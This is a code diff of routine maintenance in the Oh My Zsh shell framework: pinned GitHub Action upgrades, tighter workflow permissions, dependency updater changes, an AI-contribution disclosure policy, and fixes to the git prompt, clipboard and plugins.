fix(git plugin): include git exec path in version cache key

Co-authored-by: robbyrussell <257+robbyrussell@users.noreply.github.com>

.github/PULL_REQUEST_TEMPLATE.md

@@ -7,6 +7,7 @@
 - [ ] I have read the contribution guide and followed all the instructions.
 - [ ] The code follows the code style guide detailed in the wiki.
 - [ ] The code is mine or it's from somewhere with an MIT-compatible license.
+- [ ] If I used AI tools (ChatGPT, Claude, Gemini, etc.) to assist with this contribution, I've disclosed it below.
 - [ ] The code is efficient, to the best of my ability, and does not waste computer resources.
 - [ ] The code is stable and I have tested it myself, to the best of my abilities.
 - [ ] If the code introduces new aliases, I provide a valid use case for all plugin users down below.

.github/dependabot.yml

@@ -6,9 +6,23 @@ updates:
       interval: "weekly"
       day: "sunday"
     labels: []
+    groups:
+      gha-minor:
+        patterns:
+          - "*"
+        update-types:
+          - minor
+          - patch
   - package-ecosystem: "pip"
     directory: "/.github/workflows/dependencies"
     schedule:
       interval: "weekly"
       day: "sunday"
     labels: []
+    groups:
+      py-minor:
+        patterns:
+          - "*"
+        update-types:
+          - minor
+          - patch

.github/dependencies.yml

@@ -12,14 +12,14 @@ dependencies:
   plugins/gradle:
     repo: gradle/gradle-completion
     branch: master
-    version: a9d7c822e42cc6a5b028b59e46cffcc8e7bc1134
+    version: 63578c9bc56134b80766e88957ba0239e6be2343
     precopy: |
       set -e
       find . ! -name _gradle ! -name LICENSE -delete
   plugins/history-substring-search:
     repo: zsh-users/zsh-history-substring-search
     branch: master
-    version: 87ce96b1862928d84b1afe7c173316614b30e301
+    version: 14c8d2e0ffaee98f2df9850b19944f32546fdea5
     precopy: |
       set -e
       rm -f zsh-history-substring-search.plugin.zsh
@@ -27,6 +27,14 @@ dependencies:
     postcopy: |
       set -e
       test -e dependencies/OMZ-README.md && cat dependencies/OMZ-README.md >> README.md
+  plugins/kube-ps1:
+    repo: jonmosco/kube-ps1
+    branch: master
+    version: 04af46f7fe888ad287abcab6699b9bb10234bc3d
+    precopy: |
+      set -e
+      find . ! -name kube-ps1.sh ! -name LICENSE ! -name README.md -delete
+      test -e kube-ps1.sh && mv kube-ps1.sh kube-ps1.plugin.zsh
   plugins/wd:
     repo: mfaerevaag/wd
     branch: master
@@ -38,9 +46,10 @@ dependencies:
   plugins/z:
     branch: master
     repo: agkozak/zsh-z
-    version: cf9225feebfae55e557e103e95ce20eca5eff270
+    version: 102fb78036ed76feedf623907483691777a1d510
     precopy: |
       set -e
+      rm -r tests
       test -e README.md && mv -f README.md MANUAL.md
     postcopy: |
       set -e

.github/workflows/dependencies.yml

@@ -5,31 +5,33 @@ on:
     - cron: "0 6 * * 0"
 
 permissions:
-  contents: write
+  contents: read
 
 jobs:
   check:
     name: Check for updates
     runs-on: ubuntu-latest
     if: github.repository == 'ohmyzsh/ohmyzsh'
+    permissions:
+      contents: write # this is needed to push commits and branches
     steps:
       - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@95d9a5deda9de15063e7595e9719c11c38c90ae2 # v2.13.2
+        uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
         with:
           egress-policy: audit
 
       - name: Checkout
-        uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
         with:
           fetch-depth: 0
       - name: Authenticate as @ohmyzsh
         id: generate-token
-        uses: actions/create-github-app-token@7e473efe3cb98aa54f8d4bac15400b15fad77d94 # v2.2.0
+        uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
         with:
-          app-id: ${{ secrets.OHMYZSH_APP_ID }}
+          client-id: ${{ secrets.OHMYZSH_CLIENT_ID }}
           private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
       - name: Setup Python
-        uses: actions/setup-python@e797f83bcb11b83ae66e0230d6156d7c80228e7c # v6.0.0
+        uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
         with:
           python-version: "3.12"
           cache: "pip"

.github/workflows/dependencies/requirements.txt

@@ -1,7 +1,7 @@
-certifi==2025.11.12
+certifi==2026.7.22
-charset-normalizer==3.4.4
+charset-normalizer==3.5.1
-idna==3.11
+idna==3.19
 PyYAML==6.0.3
-requests==2.32.5
+requests==2.34.2
 semver==3.0.4
-urllib3==2.5.0
+urllib3==2.7.0

.github/workflows/dependencies/updater.py

@@ -18,6 +18,13 @@ TMP_DIR = os.path.join(os.environ.get("TMP_DIR", "/tmp"), "ohmyzsh")
 DEPS_YAML_FILE = ".github/dependencies.yml"
 # Dry run flag
 DRY_RUN = os.environ.get("DRY_RUN", "0") == "1"
+# GitHub Token is needed to avoid rate limiting
+GH_TOKEN = os.environ.get("GH_TOKEN")
+HEADERS = {
+    "Accept": "application/vnd.github+json",
+}
+if GH_TOKEN:
+    HEADERS["Authorization"] = f"Bearer {GH_TOKEN}"
 
 # utils for tag comparison
 BASEVERSION = re.compile(
@@ -212,6 +219,7 @@ class Dependency:
             if status["has_updates"] is True:
                 short_sha = status["head_ref"][:8]
                 new_version = status["version"] if is_tag else short_sha
+                source_ref = new_version if is_tag else status["head_ref"]
 
                 try:
                     branch_name = f"update/{self.path}/{new_version}"
@@ -219,32 +227,33 @@ class Dependency:
                     # Create new branch
                     branch = Git.checkout_or_create_branch(branch_name)
 
-                    # Update dependencies.yml file
-                    self.__update_yaml(
-                        f"tag:{new_version}" if is_tag else status["version"]
-                    )
-
                     # Update dependency files
-                    self.__apply_upstream_changes()
+                    self.__apply_upstream_changes(source_ref)
 
-                    # Add all changes and commit
+                    if not Git.repo_is_clean():
-                    has_new_commit = Git.add_and_commit(self.name, new_version)
+                        # Update dependencies.yml file
-
+                        self.__update_yaml(
-                    if has_new_commit:
+                            f"tag:{new_version}" if is_tag else status["version"]
-                        # Push changes to remote
-                        Git.push(branch)
-
-                        # Create GitHub PR
-                        GitHub.create_pr(
-                            branch,
-                            f"feat({self.name}): update to version {new_version}",
-                            f"""## Description
-
-Update for **{self.desc}**: update to version [{new_version}]({status['head_url']}).
-Check out the [list of changes]({status['compare_url']}).
-""",
                         )
 
+                        # Add all changes and commit
+                        has_new_commit = Git.add_and_commit(self.name, new_version)
+
+                        if has_new_commit:
+                            # Push changes to remote
+                            Git.push(branch)
+
+                            # Create GitHub PR
+                            GitHub.create_pr(
+                                branch,
+                                f"chore({self.name}): update to version {new_version}",
+                                f"""## Description
+
+Update for **{self.desc}**: update to version [{new_version}]({status["head_url"]}).
+Check out the [list of changes]({status["compare_url"]}).
+""",
+                            )
+
                     # Clean up repository
                     Git.clean_repo()
                 except (CommandRunner.Exception, shutil.Error) as e:
@@ -275,8 +284,8 @@ Check out the [list of changes]({status['compare_url']}).
 
 There is a new version of `{self.name}` {self.kind} available.
 
-New version: [{new_version}]({status['head_url']})
+New version: [{new_version}]({status["head_url"]})
-Check out the [list of changes]({status['compare_url']}).
+Check out the [list of changes]({status["compare_url"]}).
 """
 
                     print("Creating GitHub issue", file=sys.stderr)
@@ -289,7 +298,7 @@ Check out the [list of changes]({status['compare_url']}).
         dep_yaml = DependencyStore.update_dependency_version(self.path, new_version)
         DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml)
 
-    def __apply_upstream_changes(self) -> None:
+    def __apply_upstream_changes(self, ref: str) -> None:
         # Patterns to ignore in copying files from upstream repo
         GLOBAL_IGNORE = [".git", ".github", ".gitignore"]
 
@@ -298,12 +307,11 @@ Check out the [list of changes]({status['compare_url']}).
         postcopy = self.values.get("postcopy")
 
         repo = self.values["repo"]
-        branch = self.values["branch"]
         remote_url = f"https://github.com/{repo}.git"
         repo_dir = os.path.join(TMP_DIR, repo)
 
         # Clone repository
-        Git.clone(remote_url, branch, repo_dir, reclone=True)
+        Git.clone(remote_url, ref, repo_dir, reclone=True)
 
         # Run precopy on tmp repo
         if precopy is not None:
@@ -340,7 +348,7 @@ class Git:
     default_branch = "master"
 
     @staticmethod
-    def clone(remote_url: str, branch: str, repo_dir: str, reclone=False):
+    def clone(remote_url: str, ref: str, repo_dir: str, reclone=False):
         # If repo needs to be fresh
         if reclone and os.path.exists(repo_dir):
             shutil.rmtree(repo_dir)
@@ -348,11 +356,11 @@ class Git:
         # Clone repo in tmp directory and checkout branch
         if not os.path.exists(repo_dir):
             print(
-                f"Cloning {remote_url} to {repo_dir} and checking out {branch}",
+                f"Cloning {remote_url} to {repo_dir} and checking out {ref}",
                 file=sys.stderr,
             )
             CommandRunner.run_or_fail(
-                ["git", "clone", "--depth=1", "-b", branch, remote_url, repo_dir],
+                ["git", "clone", "--depth=1", "--revision", ref, remote_url, repo_dir],
                 stage="Clone",
             )
 
@@ -377,21 +385,30 @@ class Git:
             )
         return branch_name
 
+    @staticmethod
+    def repo_is_clean() -> bool:
+        """
+        Returns `True` if the repo is clean.
+        Returns `False` if the repo is dirty.
+        """
+        try:
+            result = CommandRunner.run_or_fail(
+                ["git", "status", "--porcelain", "--untracked-files=normal"],
+                stage="CheckRepoClean",
+            )
+        except CommandRunner.Exception:
+            return False
+
+        return result.stdout.strip() == b""
+
     @staticmethod
     def add_and_commit(scope: str, version: str) -> bool:
         """
         Returns `True` if there were changes and were indeed commited.
         Returns `False` if the repo was clean and no changes were commited.
         """
-        # check if repo is clean (clean => no error, no commit)
+        if Git.repo_is_clean():
-        try:
-            CommandRunner.run_or_fail(
-                ["git", "diff", "--exit-code"], stage="CheckRepoClean"
-            )
             return False
-        except CommandRunner.Exception:
-            # if it's other kind of error just throw!
-            pass
 
         user_name = os.environ.get("GIT_APP_NAME")
         user_email = os.environ.get("GIT_APP_EMAIL")
@@ -415,7 +432,7 @@ class Git:
                 f"user.email={user_email}",
                 "commit",
                 "-m",
-                f"feat({scope}): update to {version}",
+                f"chore({scope}): update to {version}",
             ],
             stage="CreateCommit",
             env=clean_env,
@@ -445,7 +462,7 @@ class GitHub:
         url = f"https://api.github.com/repos/{repo}/git/refs/tags"
 
         # Send a GET request to the GitHub API
-        response = requests.get(url)
+        response = requests.get(url, headers=HEADERS)
         current_version = coerce(current_tag)
         if current_version is None:
             raise ValueError(
@@ -505,7 +522,7 @@ class GitHub:
         url = f"https://api.github.com/repos/{repo}/compare/{version}...{branch}"
 
         # Send a GET request to the GitHub API
-        response = requests.get(url)
+        response = requests.get(url, headers=HEADERS)
 
         # If the request was successful
         if response.status_code == 200:
@@ -589,7 +606,13 @@ def main():
     DependencyStore.set(data)
 
     dependencies = data["dependencies"]
-    for path in dependencies:
+    if len(sys.argv) > 1:
+        # argv is list of dependencies to run, default is all of them
+        dependency_list = sys.argv[1:]
+    else:
+        dependency_list = dependencies.keys()
+
+    for path in dependency_list:
         dependency = Dependency(path, dependencies[path])
         dependency.update_or_notify()
 

.github/workflows/installer.yml

@@ -26,12 +26,12 @@ jobs:
           - macos-latest
     steps:
       - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@95d9a5deda9de15063e7595e9719c11c38c90ae2 # v2.13.2
+        uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
         with:
           egress-policy: audit
 
       - name: Set up git repository
-        uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
       - name: Install zsh
         if: runner.os == 'Linux'
         run: sudo apt-get update; sudo apt-get install zsh
@@ -47,12 +47,12 @@ jobs:
       - test
     steps:
       - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@95d9a5deda9de15063e7595e9719c11c38c90ae2 # v2.13.2
+        uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
         with:
           egress-policy: audit
 
       - name: Checkout
-        uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
       - name: Install Vercel CLI
         run: npm install -g vercel
       - name: Setup project and deploy

.github/workflows/main.yml

@@ -24,12 +24,12 @@ jobs:
     if: github.repository == 'ohmyzsh/ohmyzsh'
     steps:
       - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@95d9a5deda9de15063e7595e9719c11c38c90ae2 # v2.13.2
+        uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
         with:
           egress-policy: audit
 
       - name: Set up git repository
-        uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
       - name: Install zsh
         run: sudo apt-get update; sudo apt-get install zsh
       - name: Check syntax

.github/workflows/project.yml

@@ -17,14 +17,14 @@ jobs:
     if: github.repository == 'ohmyzsh/ohmyzsh'
     steps:
       - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@95d9a5deda9de15063e7595e9719c11c38c90ae2 # v2.13.2
+        uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
         with:
           egress-policy: audit
       - name: Authenticate as @ohmyzsh
         id: generate-token
-        uses: actions/create-github-app-token@7e473efe3cb98aa54f8d4bac15400b15fad77d94 # v2.2.0
+        uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
         with:
-          app-id: ${{ secrets.OHMYZSH_APP_ID }}
+          client-id: ${{ secrets.OHMYZSH_CLIENT_ID }}
           private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
       - name: Read project data
         env:

.github/workflows/scorecard.yml

@@ -36,30 +36,30 @@ jobs:
 
     steps:
       - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@95d9a5deda9de15063e7595e9719c11c38c90ae2 # v2.13.2
+        uses: step-security/harden-runner@05e31511f85b41b11d1cf0ef85d0992719546e2c # v2.21.0
         with:
           egress-policy: audit
 
       - name: "Checkout code"
-        uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
         with:
           persist-credentials: false
 
       - name: "Run analysis"
-        uses: ossf/scorecard-action@4eaacf0543bb3f2c246792bd56e8cdeffafb205a # v2.4.3
+        uses: ossf/scorecard-action@2d1146689b8cda280b9bc96326124645441f03bc # v2.4.4
         with:
           results_file: results.sarif
           results_format: sarif
           publish_results: true
 
       - name: "Upload artifact"
-        uses: actions/upload-artifact@330a01c490aca151604b8cf639adc76d48f6c5d4 # v5.0.0
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
         with:
           name: SARIF file
           path: results.sarif
           retention-days: 5
 
       - name: "Upload to code-scanning"
-        uses: github/codeql-action/upload-sarif@e12f0178983d466f2f6028f5cc7a6d786fd97f4b # v4.31.4
+        uses: github/codeql-action/upload-sarif@cdf488f595d80d6e07e03d4674febd5ab45fa938 # v4.37.9
         with:
           sarif_file: results.sarif

.gitignore

@@ -4,7 +4,12 @@ custom/
 # temp files directories
 cache/
 log/
+
+# Vim swap/backup files
 *.swp
+*.swo
+
+# macOS system files
 .DS_Store
 
 # editor configs
@@ -13,3 +18,4 @@ log/
 
 # zcompile cached files
 *.zwc
+*.zwc.old

CONTRIBUTING.md

@@ -20,6 +20,7 @@ you would make is not already covered.
   - [Getting started](#getting-started)
   - [You have a solution](#you-have-a-solution)
   - [You have an addition](#you-have-an-addition)
+- [A note on AI-assisted contributions](#a-note-on-ai-assisted-contributions)
 - [Use the Search, Luke](#use-the-search-luke)
 - [Commit Guidelines](#commit-guidelines)
   - [Format](#format)
@@ -125,6 +126,30 @@ Because of this, from now on, we require that new aliases follow these condition
 This list is not exhaustive! Please remember that your alias will be in the machines of many people,
 so it should be justified why they should have it.
 
+## A note on AI-assisted contributions
+
+We'll admit it: AI tools can be pretty helpful for coding tasks, and we're not here to gatekeep how you get your work done. We use these tools ourselves! 🤖
+
+But here's the thing—Oh My Zsh is maintained by a small team of volunteers who do this in their spare time. We already have hundreds of pending PRs, and we want to make sure we're spending our limited time effectively.
+
+If you used AI tools meaningfully in your contribution (code generation, agentic coding assistants, etc.), please mention it in your PR description. Basic autocomplete doesn't count, but if an AI wrote substantial parts of your code, just let us know.
+
+**Examples of good disclosure:**
+- "Used ChatGPT to help generate the initial regex pattern for parsing git status output"
+- "Claude assisted with writing the unit tests for this feature"  
+- "Generated with Gemini and then reviewed/tested manually"
+- Or simply: "AI-assisted" in your PR description
+
+Here's what we're looking for:
+
+- **You understand your code**: You should be able to explain what your contribution does and how it works. We want to collaborate with humans who are invested in the project.
+- **Context matters**: Tell us what problem you're solving, how you tested it, and link to relevant docs. Small, incremental changes work better than massive generated overhauls.
+- **Quality over quantity**: We'd rather have one thoughtful, well-tested contribution than ten AI-generated PRs that need extensive review.
+
+The disclosure helps us know how much guidance to offer. If we're just reviewing AI output that you can't explain or improve, that changes the dynamic—and frankly, it's not a great use of anyone's time.
+
+As always, we reserve the right to decline any contribution. PRs that appear to be unreviewed AI output, or code the contributor can't explain, may be closed without extensive feedback.
+
 ----
 
 ## Use the Search, Luke

LICENSE.txt

@@ -1,6 +1,6 @@
 MIT License
 
-Copyright (c) 2009-2025 Robby Russell and contributors (https://github.com/ohmyzsh/ohmyzsh/contributors)
+Copyright (c) 2009-2026 Robby Russell and contributors (https://github.com/ohmyzsh/ohmyzsh/contributors)
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

README.md

@@ -46,7 +46,7 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
     - [Manual Installation](#manual-installation)
   - [Installation Problems](#installation-problems)
   - [Custom Plugins And Themes](#custom-plugins-and-themes)
-  - [Enable GNU ls In macOS And freeBSD Systems](#enable-gnu-ls-in-macos-and-freebsd-systems)
+  - [Enable GNU ls In macOS And FreeBSD Systems](#enable-gnu-ls-in-macos-and-freebsd-systems)
   - [Skip Aliases](#skip-aliases)
   - [Async git prompt](#async-git-prompt)
 - [Getting Updates](#getting-updates)
@@ -70,7 +70,7 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
 | O/S            | Status |
 | :------------- | :----: |
 | Android        |   ✅   |
-| freeBSD        |   ✅   |
+| FreeBSD        |   ✅   |
 | LCARS          |   🛸   |
 | Linux          |   ✅   |
 | macOS          |   ✅   |
@@ -349,7 +349,7 @@ If you have many functions that go well together, you can put them as a `XYZ.plu
 If you would like to override the functionality of a plugin distributed with Oh My Zsh, create a plugin of the
 same name in the `custom/plugins/` directory and it will be loaded instead of the one in `plugins/`.
 
-### Enable GNU ls In macOS And freeBSD Systems
+### Enable GNU ls In macOS And FreeBSD Systems
 
 <a name="enable-gnu-ls"></a>
 

lib/cli.zsh

@@ -371,7 +371,7 @@ multi == 1 && /^[^#]*\)/ {
   next
 }
 
-# if multi flag is enabled and we didnt find a closing parenthesis,
+# if multi flag is enabled and we didn't find a closing parenthesis,
 # get the indentation level to match when adding plugins
 multi == 1 && /^[^#]*/ {
   indent=\"\"
@@ -519,7 +519,7 @@ function _omz::plugin::load {
     # Check if it has completion to reload compinit
     local -a comp_files
     comp_files=($base/_*(N))
-    has_completion=$(( $#comp_files > 0 ))
+    (( has_completion )) || has_completion=$(( $#comp_files > 0 ))
 
     # Load the plugin
     if [[ -f "$base/$plugin.plugin.zsh" ]]; then

lib/clipboard.zsh

@@ -82,7 +82,7 @@ function detect-clipboard() {
     function clipcopy() { cat "${1:-/dev/stdin}" | termux-clipboard-set; }
     function clippaste() { termux-clipboard-get; }
   elif [ -n "${TMUX:-}" ] && (( ${+commands[tmux]} )); then
-    function clipcopy() { tmux load-buffer "${1:--}"; }
+    function clipcopy() { tmux load-buffer -w "${1:--}"; }
     function clippaste() { tmux save-buffer -; }
   else
     function _retry_clipboard_detection_or_fail() {

lib/diagnostics.zsh

@@ -271,7 +271,7 @@ function _omz_diag_dump_check_core_commands() {
     unfunction unhash unlimit unset unsetopt vared wait whence where which zcompile
     zle zmodload zparseopts zregexparse zstyle )
   if is-at-least 5.1; then
-    reserved_word+=( declare export integer float local readonly typeset )
+    reserved_words+=( declare export integer float local readonly typeset )
   else
     builtins+=( declare export integer float local readonly typeset )
   fi

lib/git.zsh

@@ -36,7 +36,27 @@ function _omz_git_prompt_info() {
     && upstream=" -> ${upstream}"
   fi
 
-  echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref:gs/%/%%}${upstream:gs/%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}"
+  echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref//\%/%%}${upstream//\%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}"
+}
+
+# Match an extended regular expression against a subject, forcing the C locale
+# only for the duration of the call.
+#
+# OHMYZSH-13330: zsh's "=~" operator delegates to the C library regex, which
+# aborts with REG_ILLSEQ when the subject contains an invalid byte sequence
+# under a multibyte locale (e.g. a filename with non-UTF-8 bytes in `git
+# status` output). Forcing the C locale makes every byte a valid character,
+# so the regex matching never fails that way. `git status --porcelain` is
+# locale-independent, so this does not change the parsed output.
+#
+# OHMYZSH-13985: the locale must be scoped to this function and not set for
+# the whole caller. Assigning LC_ALL makes zsh re-run setlocale() right away,
+# so leaving it set while the rest of the caller runs breaks multibyte
+# handling there — most visibly, `echo` refuses to expand Unicode escapes in
+# theme prompt symbols ("character not in range").
+function _omz_git_prompt_status_match() {
+  local -x LC_ALL=C
+  [[ "$1" =~ "$2" ]]
 }
 
 function _omz_git_prompt_status() {
@@ -104,11 +124,11 @@ function _omz_git_prompt_status() {
   status_lines=("${(@f)${status_text}}")
 
   # If the tracking line exists, get and parse it
-  if [[ "$status_lines[1]" =~ "^## [^ ]+ \[(.*)\]" ]]; then
+  if _omz_git_prompt_status_match "$status_lines[1]" "^## [^ ]+ \[(.*)\]"; then
     local branch_statuses
     branch_statuses=("${(@s/,/)match}")
     for branch_status in $branch_statuses; do
-      if [[ ! $branch_status =~ "(behind|diverged|ahead) ([0-9]+)?" ]]; then
+      if ! _omz_git_prompt_status_match "$branch_status" "(behind|diverged|ahead) ([0-9]+)?"; then
         continue
       fi
       local last_parsed_status=$prefix_constant_map[$match[1]]
@@ -117,11 +137,11 @@ function _omz_git_prompt_status() {
   fi
 
   # For each status prefix, do a regex comparison
-  for status_prefix in ${(k)prefix_constant_map}; do
+  for status_prefix in "${(@k)prefix_constant_map}"; do
     local status_constant="${prefix_constant_map[$status_prefix]}"
     local status_regex=$'(^|\n)'"$status_prefix"
 
-    if [[ "$status_text" =~ $status_regex ]]; then
+    if _omz_git_prompt_status_match "$status_text" "$status_regex"; then
       statuses_seen[$status_constant]=1
     fi
   done
@@ -162,13 +182,13 @@ if zstyle -t ':omz:alpha:lib:git' async-prompt \
   # or any of the other prompt variables
   function _defer_async_git_register() {
     # Check if git_prompt_info is used in a prompt variable
-    case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in
+    case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
     *(\$\(git_prompt_info\)|\`git_prompt_info\`)*)
       _omz_register_handler _omz_git_prompt_info
       ;;
     esac
 
-    case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in
+    case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
     *(\$\(git_prompt_status\)|\`git_prompt_status\`)*)
       _omz_register_handler _omz_git_prompt_status
       ;;
@@ -255,7 +275,7 @@ function git_remote_status() {
         fi
 
         if [[ -n $ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_DETAILED ]]; then
-            git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote:gs/%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX"
+            git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote//\%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX"
         fi
 
         echo $git_remote_status

lib/theme-and-appearance.zsh

@@ -40,9 +40,9 @@ if [[ -z "$LS_COLORS" ]]; then
 fi
 
 function test-ls-args {
-  local cmd="$1"          # ls, gls, colorls, ...
+  # Usage: test-ls-args cmd args...
-  local args="${@[2,-1]}" # arguments except the first one
+  # e.g. test-ls-args gls --color
-  command "$cmd" "$args" /dev/null &>/dev/null
+  command "$@" /dev/null &>/dev/null
 }
 
 # Find the option for using colors in ls, depending on the version

oh-my-zsh.sh

@@ -124,9 +124,11 @@ fi
 if [[ "$ZSH_DISABLE_COMPFIX" != true ]]; then
   source "$ZSH/lib/compfix.zsh"
   # Load only from secure directories
+  # Reset the flag compinit sets when -i excludes insecure entries
+  unset _comp_secure
   compinit -i -d "$ZSH_COMPDUMP"
   # If completion insecurities exist, warn the user
-  handle_completion_insecurities &|
+  [[ "$_comp_secure" == yes ]] && handle_completion_insecurities &|
 else
   # If the user wants it, load from all found directories
   compinit -u -d "$ZSH_COMPDUMP"

plugins/1password/1password.plugin.zsh

@@ -9,7 +9,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_op" ]]; then
   _comps[op]=_op
 fi
 
-op completion zsh >| "$ZSH_CACHE_DIR/completions/_op" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_op"
+  zf_mv -f -- =( op completion zsh ) "$TMPPREFIX"
+} &|
 
 # Load opswd function
 autoload -Uz opswd

plugins/1password/_opswd

@@ -6,14 +6,4 @@ function _opswd() {
   [[ -z "$services" ]] || compadd -a -- services
 }
 
-# TODO: 2022-03-26: Remove support for op CLI 1
-autoload -Uz is-at-least
-is-at-least 2.0.0 $(op --version) || {
-  function _opswd() {
-    local -a services
-    services=("${(@f)$(op list items --categories Login 2>/dev/null | op get item - --fields title 2>/dev/null)}")
-    [[ -z "$services" ]] || compadd -a -- services
-  }
-}
-
 _opswd "$@"

plugins/1password/opswd

@@ -46,45 +46,4 @@ function opswd() {
   (sleep 20 && clipcopy </dev/null 2>/dev/null) &!
 }
 
-# TODO: 2022-03-26: Remove support for op CLI 1
-autoload -Uz is-at-least
-is-at-least 2.0.0 $(op --version) || {
-  print -ru2 ${(%):-"%F{yellow}opswd: usage with op version $(op --version) is deprecated. Upgrade to CLI 2 and reload zsh.
-For instructions, see https://developer.1password.com/docs/cli/upgrade.%f"}
-
-  # opswd puts the password of the named service into the clipboard. If there's a
-  # one time password, it will be copied into the clipboard after 10 seconds. The
-  # clipboard is cleared after another 20 seconds.
-  function opswd() {
-    if [[ $# -lt 1 ]]; then
-      echo "Usage: opswd <service>"
-      return 1
-    fi
-
-    local service=$1
-
-    # If not logged in, print error and return
-    op list users > /dev/null || return
-
-    local password
-    # Copy the password to the clipboard
-    if ! password=$(op get item "$service" --fields password 2>/dev/null); then
-      echo "error: could not obtain password for $service"
-      return 1
-    fi
-
-    echo -n "$password" | clipcopy
-    echo "✔ password for $service copied to clipboard"
-
-    # If there's a one time password, copy it to the clipboard after 5 seconds
-    local totp
-    if totp=$(op get totp "$service" 2>/dev/null) && [[ -n "$totp" ]]; then
-      sleep 10 && echo -n "$totp" | clipcopy
-      echo "✔ TOTP for $service copied to clipboard"
-    fi
-
-    (sleep 20 && clipcopy </dev/null 2>/dev/null) &!
-  }
-}
-
 opswd "$@"

plugins/alias-finder/alias-finder.plugin.zsh

@@ -1,5 +1,5 @@
 alias-finder() {
-  local cmd=" " exact="" longer="" cheaper="" wordEnd="'{0,1}$" finder="" filter=""
+  local cmd=" " exact="" longer="" cheaper="" wordEnd="'?$" finder="" filter=""
 
   # build command and options
   for c in "$@"; do
@@ -31,7 +31,7 @@ alias-finder() {
 
   # find with alias and grep, removing last word each time until no more words
   while [[ $cmd != "" ]]; do
-    finder="'{0,1}$cmd$wordEnd"
+    finder="'?$cmd$wordEnd"
 
     # make filter to find only shorter results than current cmd
     if [[ $cheaper == true ]]; then

plugins/aliases/cheatsheet.py

@@ -6,7 +6,9 @@ import argparse
 
 def parse(line):
     left = line[0:line.find('=')].strip()
-    right = line[line.find('=')+1:].strip('\'"\n ')
+    right = line[line.find('=')+1:].strip('\n ')
+    if len(right) >= 2 and right[0] == right[-1] and right[0] in '\'"':
+        right = right[1:-1]
     try:
         cmd = next(part for part in right.split() if len([char for char in '=<>' if char in part])==0)
     except StopIteration:

plugins/ansible/ansible.plugin.zsh

@@ -1,13 +1,13 @@
 # Functions
-function ansible-version(){
+function ansible-version() {
     ansible --version
 }
 
-function ansible-role-init(){
+function ansible-role-init() {
-    if ! [ -z $1 ] ; then
+    if [[ -n "$1" ]]; then
         echo "Ansible Role : $1 Creating...."
-        ansible-galaxy init $1
+        ansible-galaxy init "$1"
-        tree $1
+        tree "$1"
     else
         echo "Usage : ansible-role-init <role name>"
         echo "Example : ansible-role-init role1"

plugins/archlinux/README.md

@@ -21,7 +21,7 @@ plugins=(... archlinux)
 | pacloc       | `pacman -Qi`                           | Display information about a package in the local database        |
 | paclocs      | `pacman -Qs`                           | Search for packages in the local database                        |
 | paclr        | `sudo pacman -Scc`                     | Remove all files from the cache                                  |
-| paclsorphans | `sudo pacman -Qdt`                     | List all orphaned packages                                       |
